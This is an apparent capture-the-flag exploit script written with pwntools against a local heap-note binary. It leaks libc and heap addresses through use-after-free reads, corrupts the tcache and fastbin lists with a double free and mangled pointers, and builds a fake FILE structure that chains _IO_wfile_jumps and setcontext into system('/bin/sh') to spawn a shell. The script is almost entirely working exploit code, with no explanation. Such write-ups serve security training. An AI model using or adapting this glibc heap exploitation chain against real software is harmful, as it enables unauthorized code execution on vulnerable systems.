1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './heap'
p=process(['./ld-linux-x86-64.so.2', pwn], env={"LD_PRELOAD":'./libc.so.6'})
def debug(): global p text_base, libc_base = get_base(p, 'noka') script = ''' set $text_base = {} set $libc_base = {} b _IO_flush_all_lockp b exit b _IO_wfile_seekoff b _IO_switch_to_wget_mode '''.format(text_base, libc_base) gdb.attach(p, script) rut=lambda s :p.recvuntil(s,timeout=0.3) ru=lambda s :p.recvuntil(s) r=lambda n :p.recv(n) sl=lambda s :p.sendline(s) sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s)) s=lambda s :p.send(s) uu64=lambda data :u64 (data.ljust(8,'\x00')) it=lambda :p.interactive() b=lambda :gdb.attach(p) bp=lambda bkp:gdb.attach(p,'b *'+str(bkp)) get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
LOGTOOL={} def LOGALL(): log.success("**** all result ****") for i in LOGTOOL.items(): log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name): text_addr = 0 libc_base = 0 for name, addr in a.libs().items(): if text_name in name: text_addr = addr elif "libc" in name: libc_base = addr return text_addr, libc_base
def ptrxor(pos,ptr): return p64((pos >> 12) ^ ptr)
def create_link_map(l_addr,know_got,link_map_addr): link_map=p64(l_addr & (2 ** 64 - 1)) link_map+=p64(0) link_map+=p64(link_map_addr+0x18) link_map+=p64((know_got - l_addr)&(2**64-1)) link_map+=p64(0x7) link_map+=p64(0)
link_map+=p64(0) link_map+=p64(know_got-0x8)
link_map+=b'/flag\x00\0\x00'
link_map=link_map.ljust(0x68,b'B')
link_map+=p64(link_map_addr) link_map+=p64(link_map_addr+0x30)
link_map=link_map.ljust(0xf8,b'C')
link_map+=p64(link_map_addr+0x8) return link_map
def add(idx,size,con): ru("Enter choice") sl("1") ru("Note Index") sl(str(idx)) ru("Note Size") sl(str(size)) ru("Note Content >") sl(con) def dele(idx): ru("Enter choice") sl("2") ru("Note Index") sl(str(idx)) def view(idx): ru("Enter choice") sl("3") ru("Note Index") sl(str(idx)) def hack(): ru("Enter choice") sl("4")
add(7,0x100,b'a') add(8,0x100,b'a') add(9,0x100,b'a')
add(0,0x100,b'a') add(1,0x100,b'a') add(2,0x100,b'a') add(3,0x100,b'a') add(4,0x100,b'a') add(5,0x100,b'a') add(6,0x100,b'a')
dele(0) dele(1) dele(2) dele(3) dele(4) dele(5) dele(6)
dele(7) view(7) p.recv() addr=u64(p.recv(6)+b'\x00\x00') base=addr-(0x7f7546619ce0-0x7f7546400000) fake=base+0x21A680-0x23 print(hex(base)) dele(9) view(9) p.recv() heap_add=u64(p.recv(6)+b'\x00\x00') heap_base=heap_add-0x290 print(hex(heap_base))
add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a') add(0,0x100,b'a')
add(7,0x68,b'a') add(8,0x68,b'a') add(9,0x68,b'a')
add(0,0x68,b'a') add(1,0x68,b'a') add(2,0x68,b'a') add(3,0x68,b'a') add(4,0x68,b'a') add(5,0x68,b'a') add(6,0x68,b'a')
dele(0) dele(1) dele(2) dele(3) dele(4) dele(5) dele(6)
dele(7) dele(9) dele(7)
xxx=heap_add>>12 fakeio=heap_base+0x5555563f2190-0x5555563f1000
add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0)) add(0,0x68,p64(fake^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) add(10,0x68,p64(fakeio)+p64(0))
libcbase=base LOGTOOL['libcbase']=libcbase
fake_io=fakeio
LOGTOOL['fake_io']=fake_io
IO_file_jumps=libcbase+0x216600 LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x2160C0 LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+0xeb0f0 LOGTOOL['execve']=execve_addr
setcontext_61=libcbase+0x53a30+61 LOGTOOL['setcontext_61']=setcontext_61
lr=libcbase+0x562ec ret=libcbase+0x29cd6 pop_rdi=libcbase+0x2a3e5 pop_rsi=libcbase+0x2be51 pop_rdx2=libcbase+0x90529 system=base+0x50d60
rop=b'/bin/sh\x00'
pay=flat( { 0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],
0xa0:[p64(fake_io+0x30)], 0xc0:[p64(1)], 0xd8:[p64(IO_wfile_jumps+0x30)], 0x110:[p64(fake_io+0x118)], 0x118:flat( { 0x18:[p64(setcontext_61)] },filler=b'\x00' ), 0x138:flat( { 0x68:p64(fake_io+0x1e8), 0x70:p64(0), 0x88:p64(0), 0xa0:p64(fake_io+0x1e8), 0xa8:p64(system) },filler=b'\x00' ), 0x1e8:flat( { 0x00:rop
},filler=b'\x00' )
},filler=b'\x00' )
add(15,0x200,pay[0x10:]) debug()
hack()
LOGALL()
it()
|